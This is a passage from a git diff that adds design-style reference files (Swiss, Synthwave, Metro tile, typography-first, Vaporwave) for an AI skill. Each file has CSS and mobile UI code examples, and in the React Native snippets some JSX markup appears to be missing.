Trigger when user wants strict grid systems, strong typography, and clean, asymmetrical alignment. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Swiss Design (International Typographic Style) + +> "Form follows function. The grid is absolute. Typography is the primary visual element." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Mathematical Grids**: Everything aligns to a strict underlying grid. Asymmetry is preferred over centered text. +2. **Sans-Serif Typography**: Helvetica is the king, but any clean, neutral sans-serif works. Flush left, ragged right text alignment. +3. **Objective Photography**: If images are used, they should be objective, documentary-style photos, not stylized illustrations. + +## Visual DNA +- **Colors**: Very limited. Usually just black, white, and ONE highly saturated accent color (often primary red, blue, or yellow). The **Industrial Chic** palette works perfectly. +- **Typography**: `Helvetica Neue`, `Inter`, or `Roboto`. Huge contrast in font sizes (e.g., massive 6rem headers paired with 1rem body text). +- **Layout**: Do NOT center text. Ever. + +## Web Implementation +- Use CSS Grid extensively. Let columns dictate the layout. +- **CSS Example**: +```css +body { + background-color: #f4f4f4; + color: #111; + font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; + line-height: 1.4; +} + +.swiss-grid { + display: grid; + grid-template-columns: repeat(12, 1fr); + gap: 20px; + padding: 40px; +} + +.swiss-header { + grid-column: 1 / 11; /* spans across multiple columns, leaving right side empty */ + font-size: 6vw; + font-weight: 700; + text-transform: lowercase; /* Optional, but common in brutalist/swiss */ + margin-bottom: 2rem; + line-height: 0.9; + letter-spacing: -0.04em; +} + +.swiss-content { + grid-column: 4 / 9; /* Indented alignment */ + font-size: 1.25rem; + text-align: left; /* Flush left, ragged right */ +} + +.swiss-accent { + color: #E2001A; /* Classic Swiss Red */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SwissDesignView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 0) { + // Header Block + VStack(alignment: .leading, spacing: 8) { + Text("the grid") + .font(.custom("Helvetica Neue", size: 60)) + .fontWeight(.heavy) + .tracking(-2) // Tight letter spacing + Text("is absolute.") + .font(.custom("Helvetica Neue", size: 60)) + .fontWeight(.heavy) + .tracking(-2) + .foregroundColor(Color(hex: "E2001A")) // Swiss Red + } + .padding(.horizontal, 24) + .padding(.top, 60) + .padding(.bottom, 40) + + Divider().background(Color.black) + + // Asymmetrical Content Block + HStack(alignment: .top, spacing: 20) { + // Empty left column (negative space is structural) + Spacer().frame(width: 40) + + VStack(alignment: .leading, spacing: 16) { + Text("Form follows function.") + .font(.custom("Helvetica Neue", size: 24)) + .fontWeight(.bold) + + Text("Typography is the primary visual element. Everything aligns to a strict underlying grid. Asymmetry is preferred over centered text.") + .font(.custom("Helvetica Neue", size: 16)) + .lineSpacing(6) + } + .padding(.vertical, 40) + .padding(.trailing, 24) + } + + Divider().background(Color.black) + } + .frame(maxWidth: .infinity, alignment: .leading) + } + .background(Color(white: 0.96)) + .foregroundColor(.black) + } +} +``` +- Strict `alignment: .leading` everywhere. Never use `.center`. +- Use `Spacer().frame(width: X)` in `HStack`s to intentionally push content off the left margin, creating the classic Swiss indented asymmetrical grid. + +### Flutter +```dart +class SwissDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF4F4F4), + body: SingleChildScrollView( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const SizedBox(height: 80), + // Header + Padding( + padding: const EdgeInsets.symmetric(horizontal: 24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('the grid', style: TextStyle(fontFamily: 'Helvetica', fontSize: 60, fontWeight: FontWeight.w900, height: 0.9, letterSpacing: -2)), + Text('is absolute.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 60, fontWeight: FontWeight.w900, height: 0.9, letterSpacing: -2, color: Color(0xFFE2001A))), + ], + ), + ), + const SizedBox(height: 40), + const Divider(color: Colors.black, thickness: 1, height: 1), + + // Asymmetrical Content + Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + // Structural empty column + const SizedBox(width: 64), + // Content column + Expanded( + child: Padding( + padding: const EdgeInsets.only(top: 40.0, bottom: 40.0, right: 24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Form follows function.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 24, fontWeight: FontWeight.bold)), + SizedBox(height: 16), + Text('Typography is the primary visual element. Everything aligns to a strict underlying grid.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 16, height: 1.4)), + ], + ), + ), + ), + ], + ), + const Divider(color: Colors.black, thickness: 1, height: 1), + ], + ), + ), + ); + } +} +``` +- `CrossAxisAlignment.start` is mandatory on all Columns. +- Use a `Row` with a fixed `SizedBox` width on the left and an `Expanded` widget on the right to enforce the asymmetrical grid column. + +### React Native +```jsx +const SwissDesignScreen = () => { + return ( + + + {/* Header */} + + + the grid + + + is absolute. + + + + + + {/* Asymmetrical Layout */} + + {/* Empty left column */} + + + {/* Content */} + + + Form follows function. + + + Typography is the primary visual element. Everything aligns to a strict underlying grid. + + + + + + + + ); +}; +``` +- Link the Helvetica Neue font family. The contrast between `HelveticaNeue-CondensedBlack` for headers and `HelveticaNeue-Regular` for body copy defines this style. +- Use `flexDirection: 'row'` to build the strict column structure. + +### Jetpack Compose +```kotlin +@Composable +fun SwissDesignScreen() { + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFFF4F4F4)).verticalScroll(rememberScrollState()) + ) { + Spacer(Modifier.height(80.dp)) + + // Header + Column(modifier = Modifier.padding(horizontal = 24.dp, vertical = 40.dp)) { + Text( + text = "the grid", + fontFamily = FontFamily.SansSerif, // Replace with Helvetica + fontSize = 60.sp, + fontWeight = FontWeight.Black, + letterSpacing = (-2).sp, + lineHeight = 60.sp, + color = Color.Black + ) + Text( + text = "is absolute.", + fontFamily = FontFamily.SansSerif, + fontSize = 60.sp, + fontWeight = FontWeight.Black, + letterSpacing = (-2).sp, + lineHeight = 60.sp, + color = Color(0xFFE2001A) + ) + } + + Divider(color = Color.Black, thickness = 1.dp) + + // Asymmetrical Grid Row + Row(modifier = Modifier.fillMaxWidth().padding(vertical = 40.dp)) { + // Empty grid column + Spacer(modifier = Modifier.width(64.dp)) + + // Content + Column(modifier = Modifier.weight(1f).padding(right = 24.dp)) { + Text( + text = "Form follows function.", + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + color = Color.Black + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Typography is the primary visual element. Everything aligns to a strict underlying grid.", + fontSize = 16.sp, + color = Color.Black + ) + } + } + + Divider(color = Color.Black, thickness = 1.dp) + } +} +``` +- Use `Divider(color = Color.Black, thickness = 1.dp)` to create the harsh horizontal structural rules. +- Combine `Row`, a fixed `Spacer` width, and a `Column` with `Modifier.weight(1f)` to enforce the asymmetrical design. + +## Do's and Don'ts +- **DO**: Use negative space as a structural element. Empty columns are just as important as filled ones. +- **DON'T**: Center align text. Do not use serif fonts. Do not use drop shadows. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/synthwave/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/synthwave/SKILL.md new file mode 100644 index 00000000..01ed9d66 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/synthwave/SKILL.md @@ -0,0 +1,257 @@ +--- +name: synthwave +description: Web and App implementation guide for Synthwave. Trigger when user wants 80s-inspired neon, dark backgrounds, outrun grids, and Miami Vice aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Synthwave (Outrun) + +> "Driving a Ferrari through a neon-lit digital grid at midnight." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Dark Mode by Default**: Absolute pitch-black or deep purple backgrounds. +2. **Neon Glowing Vectors**: Bright magenta, cyan, and yellow wireframes, text, and grids. Heavy use of `box-shadow` and `text-shadow` for glow effects. +3. **The Perspective Grid**: The defining visual is a glowing grid that fades into a vanishing point on the horizon. + +## Visual DNA +- **Colors**: Deep space backgrounds (`#0B0C10`, `#110022`). Glowing neon accents: Cyan (`#00FFFF`), Hot Pink (`#FF00FF`), Electric Yellow (`#FFFF00`). +- **Typography**: 80s chrome text, brush script (like a neon sign), and heavy italicized sans-serifs. +- **Shadows**: Drop shadows are not black; they are the same color as the element, heavily blurred, to create light emission. + +## Web Implementation +- Rely on `text-shadow` for neon signs and 3D transforms for the floor grid. +- **CSS Example**: +```css +body { + background-color: #090014; + color: #fff; + font-family: 'Montserrat', sans-serif; + overflow-x: hidden; +} + +/* Neon Text Glow */ +.synth-neon-text { + font-family: 'Mr Dafoe', cursive; /* A classic 80s script */ + font-size: 4rem; + color: #fff; + text-shadow: + 0 0 5px #fff, + 0 0 10px #fff, + 0 0 20px #FF00FF, + 0 0 40px #FF00FF, + 0 0 80px #FF00FF; +} + +/* The Perspective Grid Floor */ +.synth-grid { + position: absolute; + bottom: 0; left: -50%; + width: 200%; height: 50vh; + background-image: + linear-gradient(rgba(0, 255, 255, 0.8) 2px, transparent 2px), + linear-gradient(90deg, rgba(0, 255, 255, 0.8) 2px, transparent 2px); + background-size: 50px 50px; + + /* Create the 3D horizon effect */ + transform: perspective(500px) rotateX(60deg); + transform-origin: top center; + + /* Fade out towards the horizon */ + mask-image: linear-gradient(to bottom, transparent 0%, black 100%); + -webkit-mask-image: linear-gradient(to bottom, transparent 0%, black 100%); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeonText: View { + let text: String + + var body: some View { + Text(text) + .font(.custom("Mr Dafoe", size: 64)) + .foregroundColor(.white) + // Layering shadows to create a glowing bloom + .shadow(color: .white, radius: 2) + .shadow(color: .pink, radius: 5) + .shadow(color: .pink, radius: 10) + .shadow(color: .pink, radius: 20) + } +} + +struct SynthwaveScreen: View { + var body: some View { + ZStack { + Color(red: 0.03, green: 0.0, blue: 0.08).ignoresSafeArea() // #090014 + + VStack { + NeonText(text: "Outrun") + Spacer() + } + + // Note: A 3D perspective grid requires SceneKit or a pre-rendered image + // Native SwiftUI 3D transforms apply to the view, but won't draw an infinite floor grid easily. + Image("synth_grid") + .resizable() + .scaledToFill() + .frame(height: 300) + .offset(y: 200) + } + } +} +``` +- Stack multiple `.shadow(color:radius:)` modifiers directly on the text to create a vibrant neon bloom effect. +- The 3D wireframe horizon grid is best achieved via a pre-rendered image background. + +### Flutter +```dart +class NeonText extends StatelessWidget { + final String text; + const NeonText(this.text); + + @override + Widget build(BuildContext context) { + return Text( + text, + style: const TextStyle( + fontFamily: 'Mr Dafoe', // Or any cursive 80s font + fontSize: 64, + color: Colors.white, + shadows: [ + Shadow(color: Colors.white, blurRadius: 2), + Shadow(color: Colors.pinkAccent, blurRadius: 5), + Shadow(color: Colors.pinkAccent, blurRadius: 15), + Shadow(color: Colors.pinkAccent, blurRadius: 30), + ], + ), + ); + } +} + +class SynthwaveScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF090014), + body: Stack( + children: [ + // Background grid asset + Positioned( + bottom: 0, + left: 0, + right: 0, + height: 300, + child: Image.asset('assets/synth_grid.png', fit: BoxFit.cover), + ), + // Foreground UI + const Center(child: NeonText('Outrun')), + ], + ), + ); + } +} +``` +- `TextStyle` accepts a list of `Shadow` objects. Stack them with exponentially increasing `blurRadius` values (e.g., 2, 5, 15, 30) to simulate light dispersal. +- Avoid rendering the perspective grid programmatically using `CustomPaint` unless you want to do the 3D math manually. Use an asset. + +### React Native +```jsx +// React Native only supports ONE textShadow per Text element natively. +// To create a true neon glow, you must stack identical Text components. + +const NeonText = ({ text }) => { + const baseStyle = { + fontFamily: 'MrDafoe', + fontSize: 64, + color: '#FFF', + position: 'absolute', + }; + + return ( + + {/* Outer Glow */} + {text} + {/* Mid Glow */} + {text} + {/* Core Glow */} + {text} + {/* Crisp White Core */} + {text} + + ); +}; + +const SynthwaveScreen = () => ( + + + + + +); +``` +- **React Native limitation**: You cannot pass an array of shadows to `textShadow`. +- **Workaround**: Render the exact same `` component 3-4 times on top of each other using `position: 'absolute'`, each with a different `textShadowRadius` to build the bloom. + +### Jetpack Compose +```kotlin +@Composable +fun NeonText(text: String) { + Text( + text = text, + fontSize = 64.sp, + color = Color.White, + fontFamily = FontFamily.Cursive, + // Compose only supports a single Shadow natively on TextStyle + style = TextStyle( + shadow = Shadow( + color = Color(0xFFFF00FF), + offset = Offset.Zero, + blurRadius = 30f // Single large blur as fallback + ) + ), + // To get stacked blurs, we use Modifier.drawBehind to draw the text repeatedly + ) +} + +// Advanced stacked glow approach +@Composable +fun AdvancedNeonText(text: String) { + Box(contentAlignment = Alignment.Center) { + // Render layers of text to build the glow + val blurs = listOf(30f, 15f, 5f) + blurs.forEach { blur -> + Text( + text = text, + color = Color.Transparent, + style = TextStyle( + shadow = Shadow(Color(0xFFFF00FF), Offset.Zero, blur) + ) + ) + } + // Top solid layer + Text(text = text, color = Color.White) + } +} +``` +- **Compose Limitation**: Like React Native, `TextStyle` only accepts a single `Shadow`. +- **Workaround**: Stack multiple transparent `Text` composables inside a `Box`, each casting a shadow of varying size, topped by the solid white core text. + +## Do's and Don'ts +- **DO**: Italicize fonts to give a sense of speed and forward momentum. +- **DON'T**: Use standard, subtle box shadows. If it casts a shadow, it must cast a neon glow instead. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/tile-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/tile-design/SKILL.md new file mode 100644 index 00000000..9da8042e --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/tile-design/SKILL.md @@ -0,0 +1,297 @@ +--- +name: tile-design +description: Web and App implementation guide for Tile Design. Trigger when user wants Microsoft Metro style, sharp square information units, and horizontal scrolling grids. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Tile Design (Metro UI) + +> "Authentically digital. Clean, sharp squares relying purely on typography and flat color." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Sharp Corners**: Absolutely no border-radius. Everything is a perfect square or sharp rectangle. +2. **Live Data**: Tiles flip, scroll, or fade internally to show live updates without the user interacting. +3. **Horizontal Panning**: The grid often expands infinitely to the right, encouraging horizontal scrolling. + +## Visual DNA +- **Colors**: High saturation, flat colors. A dark background (pure black) with bright cyan, magenta, orange, and green tiles. +- **Typography**: Extremely clean, light sans-serifs (like `Segoe UI Light`). Text is almost always pure white. +- **Icons**: Simple, wireframe, monochromatic glyphs placed centrally or in the corner. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #111; + color: #fff; + font-family: 'Segoe UI', sans-serif; + overflow-x: auto; /* Horizontal scroll */ +} + +.tile-group { + display: grid; + grid-template-columns: repeat(4, 150px); + grid-auto-rows: 150px; + gap: 8px; + padding: 40px; +} + +.tile { + background-color: #0078D7; /* Classic Windows Blue */ + padding: 12px; + display: flex; + flex-direction: column; + justify-content: space-between; + cursor: pointer; + + /* The "tilt" click effect */ + transition: transform 0.1s; + transform-origin: center; +} + +.tile:active { + transform: scale(0.95); +} + +.tile-wide { grid-column: span 2; } +.tile-large { grid-column: span 2; grid-row: span 2; } + +/* Live Tile Animation */ +.tile-live-content { + animation: slideUp 5s infinite; +} + +@keyframes slideUp { + 0%, 45% { transform: translateY(0); } + 50%, 95% { transform: translateY(-100%); } /* Slides up to reveal next item */ + 100% { transform: translateY(0); } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct TileDesignView: View { + let rows = [GridItem(.fixed(150), spacing: 8), GridItem(.fixed(150), spacing: 8)] + + var body: some View { + ScrollView(.horizontal, showsIndicators: false) { + LazyHGrid(rows: rows, spacing: 8) { + TileView(title: "Mail", color: Color(hex: "0078D7"), icon: "envelope") + TileView(title: "Photos", color: Color(hex: "00CC6A"), icon: "photo", isLarge: true) + TileView(title: "Weather", color: Color(hex: "2D7D9A"), icon: "cloud.sun") + TileView(title: "Calendar", color: Color(hex: "D13438"), icon: "calendar") + } + .padding(40) + } + .background(Color(hex: "111111").ignoresSafeArea()) + } +} + +struct TileView: View { + let title: String + let color: Color + let icon: String + var isLarge: Bool = false + + @State private var isPressed = false + + var body: some View { + VStack(alignment: .leading) { + Image(systemName: icon) + .font(.system(size: 32, weight: .light)) + .foregroundColor(.white) + Spacer() + Text(title) + .font(.custom("Segoe UI", size: 16)) + .foregroundColor(.white) + } + .padding(16) + // Sharp corners are mandatory + .frame(width: isLarge ? 308 : 150, height: isLarge ? 308 : 150, alignment: .leading) + .background(color) + .scaleEffect(isPressed ? 0.95 : 1.0) + .animation(.spring(response: 0.2, dampingFraction: 0.5), value: isPressed) + .onLongPressGesture(minimumDuration: .infinity, maximumDistance: .infinity, pressing: { pressing in + isPressed = pressing + }, perform: {}) + } +} +``` +- A `LazyHGrid` inside a horizontal `ScrollView` perfectly replicates the Windows Phone / Windows 8 start screen. +- Absolutely NO corner radius. +- The `isPressed` state triggering a `.scaleEffect(0.95)` replicates the physical "tilt" interaction of Metro tiles. + +### Flutter +```dart +class TileDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF111111), + body: SingleChildScrollView( + scrollDirection: Axis.horizontal, + padding: const EdgeInsets.all(40), + child: SizedBox( + height: 308, // Two rows of 150px + 8px spacing + child: Wrap( + direction: Axis.vertical, + spacing: 8, + runSpacing: 8, + children: [ + _buildTile('Mail', const Color(0xFF0078D7), Icons.mail_outline), + _buildTile('Weather', const Color(0xFF2D7D9A), Icons.cloud_outlined), + _buildTile('Photos', const Color(0xFF00CC6A), Icons.photo_outlined, isLarge: true), + _buildTile('Calendar', const Color(0xFFD13438), Icons.calendar_today), + ], + ), + ), + ), + ); + } + + Widget _buildTile(String title, Color color, IconData icon, {bool isLarge = false}) { + return StatefulBuilder( + builder: (context, setState) { + bool isPressed = false; + return GestureDetector( + onTapDown: (_) => setState(() => isPressed = true), + onTapUp: (_) => setState(() => isPressed = false), + onTapCancel: () => setState(() => isPressed = false), + child: AnimatedScale( + scale: isPressed ? 0.95 : 1.0, + duration: const Duration(milliseconds: 100), + child: Container( + width: isLarge ? 308 : 150, + height: isLarge ? 308 : 150, + color: color, // Sharp corners + padding: const EdgeInsets.all(16), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + Icon(icon, color: Colors.white, size: 32), + Text(title, style: const TextStyle(color: Colors.white, fontFamily: 'Segoe UI', fontSize: 16)), + ], + ), + ), + ), + ); + } + ); + } +} +``` +- `Wrap` with `direction: Axis.vertical` inside a horizontally scrolling `SizedBox` is the easiest way to build a Metro grid that flows left-to-right. +- Wrap tiles in `GestureDetector` and `AnimatedScale` to handle the press animation. + +### React Native +```jsx +const TileDesignScreen = () => { + return ( + + + + + + + + + + + ); +}; + +const Tile = ({ title, color, isLarge }) => { + const scale = useRef(new Animated.Value(1)).current; + + const handlePressIn = () => Animated.spring(scale, { toValue: 0.95, useNativeDriver: true }).start(); + const handlePressOut = () => Animated.spring(scale, { toValue: 1, useNativeDriver: true }).start(); + + return ( + + + + {title} + + + ); +}; +``` +- Use a `` combined with a child `` that has a fixed `height` and `flexWrap: 'wrap', flexDirection: 'column'`. This forces children to form columns and flow horizontally. +- Use `Animated.View` and `TouchableWithoutFeedback` to create the scale animation. + +### Jetpack Compose +```kotlin +@Composable +fun TileDesignScreen() { + LazyHorizontalGrid( + rows = GridCells.Fixed(2), + modifier = Modifier.fillMaxSize().background(Color(0xFF111111)), + contentPadding = PaddingValues(40.dp), + horizontalArrangement = Arrangement.spacedBy(8.dp), + verticalArrangement = Arrangement.spacedBy(8.dp) + ) { + item(span = { GridItemSpan(1) }) { Tile("Mail", Color(0xFF0078D7)) } + // Note: LazyHorizontalGrid doesn't easily support spanning multiple rows (2x2 tiles). + // For a true Metro layout, you often have to build a custom Layout or use staggered grids. + item(span = { GridItemSpan(2) }) { Tile("Photos Wide", Color(0xFF00CC6A)) } + item(span = { GridItemSpan(1) }) { Tile("Weather", Color(0xFF2D7D9A)) } + } +} + +@Composable +fun Tile(title: String, color: Color) { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState(if (isPressed) 0.95f else 1.0f) + + Box( + modifier = Modifier + .size(150.dp) // Or wide/large based on params + .scale(scale) + .background(color) // Sharp corners! No RoundedCornerShape + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + } + .padding(16.dp) + ) { + // Icon + Box(modifier = Modifier.size(32.dp).background(Color.White.copy(alpha = 0.5f)).align(Alignment.TopStart)) + // Text + Text( + text = title, + color = Color.White, + fontFamily = FontFamily.SansSerif, + modifier = Modifier.align(Alignment.BottomStart) + ) + } +} +``` +- `LazyHorizontalGrid` is the right tool, though building true 2x2 "Large" tiles requires custom layout math in Compose if mixing with 1x1 tiles. +- `Modifier.scale()` paired with `pointerInput` `detectTapGestures` handles the Metro interaction. + +## Do's and Don'ts +- **DO**: Place the tile label text strictly in the bottom-left corner of the tile. +- **DON'T**: Add drop shadows or gradients to the tiles. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/typography-first/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/typography-first/SKILL.md new file mode 100644 index 00000000..f4598f03 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/typography-first/SKILL.md @@ -0,0 +1,247 @@ +--- +name: typography-first +description: Web and App implementation guide for Typography First Design. Trigger when user wants text as the absolute main visual element, with minimal UI chroming. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Typography First Design + +> "The words are the interface. No distractions, just beautiful text." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hyper-Sized Typography**: The main headline is so large it becomes an abstract graphic element. +2. **Minimal UI Chroming**: Buttons are just text. Navigation is just text. No boxes, no backgrounds. +3. **Kinetic Typography**: Text that moves, scrolls, or reacts to the user's cursor. + +## Visual DNA +- **Colors**: Extreme high contrast. Pure black and white, or a very dark background with a single neon accent color. **Midnight Luxury** works well. +- **Typography**: Display fonts with extreme character. Try `Oswald`, `Anton`, or `Bebas Neue` for impact, or a massive serif. +- **Layout**: Often centers the massive text perfectly in the viewport, cutting off at the edges. + +## Web Implementation +- Rely on `vw` and `vh` units for font sizing so the text perfectly fills the screen. +- **CSS Example**: +```css +body { + background-color: #0A0A0A; + color: #F5F5F0; + overflow-x: hidden; + margin: 0; +} + +.hero-type { + font-family: 'Anton', sans-serif; + font-size: 25vw; /* Fills the width of the screen */ + text-transform: uppercase; + line-height: 0.8; + white-space: nowrap; + + /* Outline effect */ + color: transparent; + -webkit-text-stroke: 2px #F5F5F0; + transition: color 0.3s; +} + +.hero-type:hover { + color: var(--cta-highlight); + -webkit-text-stroke: 0; +} + +.nav-text-btn { + background: none; + border: none; + color: #F5F5F0; + font-size: 2rem; + font-family: 'Helvetica Neue', sans-serif; + text-decoration: underline; + text-underline-offset: 8px; + cursor: pointer; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct TypographyFirstView: View { + var body: some View { + ZStack { + Color(hex: "0A0A0A").ignoresSafeArea() + + VStack { + // Massive Typography Bleeding Off Edge + Text("THE WORDS ARE THE INTERFACE") + .font(.custom("Anton", size: 200)) // Absurdly large + .foregroundColor(Color(hex: "F5F5F0")) + .lineLimit(1) + .fixedSize(horizontal: true, vertical: false) // Force no wrapping + .minimumScaleFactor(1.0) // Prevent auto-shrinking + + // Outlined variant + Text("NO CHROMING") + .font(.custom("Anton", size: 150)) + .foregroundColor(.clear) + .overlay( + Text("NO CHROMING") + .font(.custom("Anton", size: 150)) + .foregroundColor(Color(hex: "0A0A0A")) + // Hack for text stroke in SwiftUI + .shadow(color: Color(hex: "F5F5F0"), radius: 1) + ) + .lineLimit(1) + .fixedSize() + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.leading, -20) // Intentionally cut off + } + } +} +``` +- Use `.fixedSize(horizontal: true, vertical: false)` and `.lineLimit(1)` to force massive fonts to bleed off the edge of the screen rather than wrapping into a paragraph. +- Native text-stroke is difficult in SwiftUI; overlapping a masked text or using thin shadows is the common workaround. + +### Flutter +```dart +class TypographyFirstScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF0A0A0A), + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + crossAxisAlignment: CrossAxisAlignment.stretch, + children: [ + // Auto-scaling hero text + FittedBox( + fit: BoxFit.cover, + child: Text( + 'THE WORDS ARE', + style: TextStyle(fontFamily: 'Anton', color: const Color(0xFFF5F5F0), height: 0.8), + ), + ), + + // Outlined text + FittedBox( + fit: BoxFit.cover, + child: Stack( + children: [ + // Outline + Text( + 'THE INTERFACE', + style: TextStyle( + fontFamily: 'Anton', height: 0.8, + foreground: Paint()..style = PaintingStyle.stroke..strokeWidth = 2..color = const Color(0xFFF5F5F0), + ), + ), + // Solid fill (transparent) + const Text('THE INTERFACE', style: TextStyle(fontFamily: 'Anton', height: 0.8, color: Colors.transparent)), + ], + ), + ), + ], + ), + ), + ); + } +} +``` +- `FittedBox` with `BoxFit.cover` is your best friend here. It ensures the text takes up the maximum possible width/height regardless of the device screen size. +- Flutter makes text outlines easy by using `foreground: Paint()..style = PaintingStyle.stroke` in the `TextStyle`. + +### React Native +```jsx +const { width } = Dimensions.get('window'); + +const TypographyFirstScreen = () => { + return ( + + + {/* Massive Text */} + + WORDS ARE + + + {/* Outlined Text (Not supported natively in standard React Native Text, requires SVG or shadows) */} + + INTERFACE + + + {/* Typography Button */} + + + Explore Now + + + + + ); +}; +``` +- Rely on `Dimensions.get('window').width` to calculate extreme font sizes dynamically (e.g., `fontSize: width * 0.4`). +- Use `numberOfLines={1}` and negative margins to allow the text to act as a graphic element bleeding off the screen. + +### Jetpack Compose +```kotlin +@Composable +fun TypographyFirstScreen() { + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFF0A0A0A)), + verticalArrangement = Arrangement.Center + ) { + // Massive Text + Text( + text = "THE WORDS ARE", + color = Color(0xFFF5F5F0), + fontSize = 120.sp, // Absurd size + fontFamily = FontFamily.SansSerif, // Replace with Anton + lineHeight = 100.sp, + softWrap = false, // Force bleed off edge + modifier = Modifier.offset(x = (-20).dp) + ) + + // Outlined Text + Text( + text = "THE INTERFACE", + fontSize = 100.sp, + fontFamily = FontFamily.SansSerif, + lineHeight = 90.sp, + softWrap = false, + style = TextStyle( + drawStyle = Stroke( + miter = 10f, + width = 2f, + join = StrokeJoin.Round + ) + ), + color = Color(0xFFF5F5F0) // The stroke color + ) + } +} +``` +- Set `softWrap = false` on `Text` to prevent it from wrapping and ruining the massive headline aesthetic. +- Compose fully supports text outlines natively using `style = TextStyle(drawStyle = Stroke(...))`. + +## Do's and Don'ts +- **DO**: Mix filled text and outlined text (using `-webkit-text-stroke`) for visual interest. +- **DON'T**: Wrap the text in cards or containers. Let it bleed into the background. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/vaporwave/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/vaporwave/SKILL.md new file mode 100644 index 00000000..4b24d643 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/vaporwave/SKILL.md @@ -0,0 +1,331 @@ +--- +name: vaporwave +description: Web and App implementation guide for Vaporwave. Trigger when user wants neon colors, retro digital aesthetics, 90s OS elements, and Roman statues. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Vaporwave + +> "A surreal, nostalgic dream of 90s computing and pastel neon." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Windows 95 / Mac OS 9 Motifs**: UI elements designed to look explicitly like 1990s operating systems (grey boxes, hard bevels, blue title bars). +2. **Surreal Pastels & Neons**: A mix of soft pinks, cyans, and harsh neon overlays. +3. **Collage Aesthetic**: Mixing classical art (Roman busts), early 3D renders (checkerboard floors), and Japanese text (Kanji/Katakana). + +## Visual DNA +- **Colors**: Cyan (`#00FFFF`), Magenta (`#FF00FF`), Lavender (`#E6E6FA`), and classic Windows Grey (`#C0C0C0`). +- **Typography**: `MS Sans Serif`, `Tahoma`, or pixel fonts. Fullwidth characters (AESTHETIC) are highly encouraged for headers. +- **Styling**: Hard, 1px outsets and insets to simulate 90s 3D buttons. + +## Web Implementation +- Use standard CSS borders to create the classic 90s button look. +- **CSS Example**: +```css +body { + background: linear-gradient(180deg, #ff99cc 0%, #99ccff 100%); + color: #000; + font-family: 'Tahoma', sans-serif; + min-height: 100vh; +} + +/* Windows 95 Style 